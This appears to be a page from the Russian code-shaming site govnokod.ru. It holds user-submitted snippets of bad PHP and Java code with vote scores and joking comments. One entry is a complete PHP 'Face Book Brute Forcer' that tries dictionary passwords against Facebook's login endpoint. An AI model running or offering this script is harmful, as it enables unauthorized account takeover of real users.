- 1
- 2
- 3
- 4
- 5
- 6
- 7
class Company extends BaseCompany {
//...
public function setName($v){
$this->setName(String::mb_ucfirst($v));
}
//...
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+160.1
class Company extends BaseCompany {
//...
public function setName($v){
$this->setName(String::mb_ucfirst($v));
}
//...
}
Мегаметодика переопределения сеттеров. Symfony, Propel.
+156.7
<?php
$mov = new ffmpeg_movie ( '1.avi' );
$frame = $mov -> GetFrame ( 26 ):
$gd = ToGd ( $frame );
header ( "Content-type: image/gif" );
imageGif ( $gd );
function ToGd ( $frame )
{
RETURN $frame -> toGDimage ();
}
?>
Говнокод? =)
+19.2
<?
################################
# Face Book Brute Forcer
################################
set_time_limit(0);
$username ="[email protected]"; // username to brute force
$dictionary ="dictionary.txt"; // need dictionary to password list
function kontrol($kullaniciadi,$sifre){
$useragent = "Opera/9.21 (Windows NT 5.1; U; tr)";
$data = "email=$kullaniciadi&pass=$sifre&login=Login" ;
$ch = curl_init('https://login.facebook.com/login.php?m&next=http://m.facebook.com/home.php');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
$source=curl_exec ($ch);
curl_close ($ch);
if(eregi("Home</title>",$source)){return true;} else {return false;}
}
if(!is_file($dictionary)){echo "$dictionary is not file";exit;}
$lines=file($dictionary);
echo "Attack Starting..<br>";
sleep(10);
echo "Attack Started, brute forcing..<br>";
foreach($lines as $line){
$line=str_replace("\r","",$line);
$line=str_replace("\n","",$line);
if(kontrol($username,$line)){echo "<font face=tahoma color=green>[+]</font><font face=tahoma> username:$username , password:$line - P
assword found : $line</font><br>";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;}
else{echo "<font face=tahoma color=brown>[-]</font><font face=tahoma> username:$username , password:$line - Password not found :
$line</font><br>";}
}
?>
+19
// то что было
/************************************
return TRUE if version1 >= version2
version1 = "XX.XX.XX"
version2 = "XX.XX.XX"
************************************/
function CheckVersion($version1, $version2)
{
$arr1 = explode(".",$version1);
$arr2 = explode(".",$version2);
if (intval($arr2[0])>intval($arr1[0])) return false;
elseif (intval($arr2[0])<intval($arr1[0])) return true;
else
{
if (intval($arr2[1])>intval($arr1[1])) return false;
elseif (intval($arr2[1])<intval($arr1[1])) return true;
else
{
if (intval($arr2[2])>intval($arr1[2])) return false;
elseif (intval($arr2[2])<intval($arr1[2])) return true;
else return true;
}
}
}
// а я бы сделал вот так
// причем при добавлении новой подверсии работоспособность не изменится
function CheckVersion($version1, $version2)
{
return (intval(str_replace('.','',$version1))>=intval(str_replace('.','',$version2))) ? true : false;
}
Просто шикарное решение от умов битрикса
−50
String[] search_array;
int index = -1;
for (int y = 0; y < search_array.length; y++) {
if (search_array[y].equals("SEARCH_PATTERN") {
index = y;
y = 100;
}
}
+34.2
if (preg_match("/^([zZ][aA]|[зЗ][аА])$/", $text)) {
//za
} elseif (preg_match("/^([pP][rR][oO][tT][iI][vV]|[пП][рР][оО][тТ]][иИ][вВ])$/", $text)){
Составил кто-то регулярку на проверку в сообщении слов за/za, против/protiv
Обратите внимание как элегантно решена проблемма регистра символов
+29
if (searchBox.isFocused()) {
addressBookPopupMenu.enableItem(0, false);//view
addressBookPopupMenu.enableItem(1, true);//search
addressBookPopupMenu.enableItem(2, true);//add contact
addressBookPopupMenu.enableItem(3, false);//edit contact
addressBookPopupMenu.enableItem(4, false);//delete contact
addressBookPopupMenu.enableItem(5, false);
}
else {
addressBookPopupMenu.enableItem(0,true);
addressBookPopupMenu.enableItem(1,false);
addressBookPopupMenu.enableItem(2,true);
addressBookPopupMenu.enableItem(3,true);
addressBookPopupMenu.enableItem(4,true);
addressBookPopupMenu.enableItem(5, true);
}
if(isSocialNWportal()) {
addressBookPopupMenu.enableItem(2, false);//add contact
addressBookPopupMenu.enableItem(3, false);//edit contact
addressBookPopupMenu.enableItem(4, false);//delete contact
}
индусская логика vs Российская. Чуть ни упал пацтол когда соптимизячил и сравнил со своим кодом:
boolean allowFlag = !(searchBox.isFocused() || contactListBox.isEmpty());
boolean portalFlag = !isSocialNWportal();
addressBookPopupMenu.enableItem(0, allowFlag);
addressBookPopupMenu.enableItem(1, !allowFlag);
addressBookPopupMenu.enableItem(2, portalFlag);//add contact
addressBookPopupMenu.enableItem(3, allowFlag && portalFlag);
addressBookPopupMenu.enableItem(4, allowFlag && portalFlag);
addressBookPopupMenu.enableItem(5, !searchBox.isFocused());
+37.1
function check_email($address)
{
$regex = '/^((\"[^\"\f\n\r\t\v\b]+\")|([\w\!\#\$\%\&\'\*\+\-\~\/\^\`\|\{\}]+(\.[\w\!\#\$\%\&\'\*\+\-\~\/\^\`\|\{\}]+)*))@((\[(((25[0-5])|(2[0-4][0-9])|([0-1]?[0-9]?[0-9]))\.((25[0-5])|(2[0-4][0-9])|([0-1]?[0-9]?[0-9]))\.((25[0-5])|(2[0-4][0-9])|([0-1]?[0-9]?[0-9]))\.((25[0-5])|(2[0-4][0-9])|([0-1]?[0-9]?[0-9])))\])|(((25[0-5])|(2[0-4][0-9])|([0-1]?[0-9]?[0-9]))\.((25[0-5])|(2[0-4][0-9])|([0-1]?[0-9]?[0-9]))\.((25[0-5])|(2[0-4][0-9])|([0-1]?[0-9]?[0-9]))\.((25[0-5])|(2[0-4][0-9])|([0-1]?[0-9]?[0-9])))|((([A-Za-z0-9\-])+\.)+[A-Za-z\-]+))$/';
if (preg_match($regex, $address)) {
return true;
}
else {
return false;
}
}
Функция для проверки e-mail'а
Очень скромный РегЕксп
(с) n3m0
+31.7
$uin=$_POST['uin'];
$uin=$uin+1-1;
И такое сплошь и рядом... А intval() ведь зачем-то придумали...
by nod
+51.6
if ($name == "ryuzaki") {die("Вы заблокированы");}
Отличная система бана...
© nod, 2009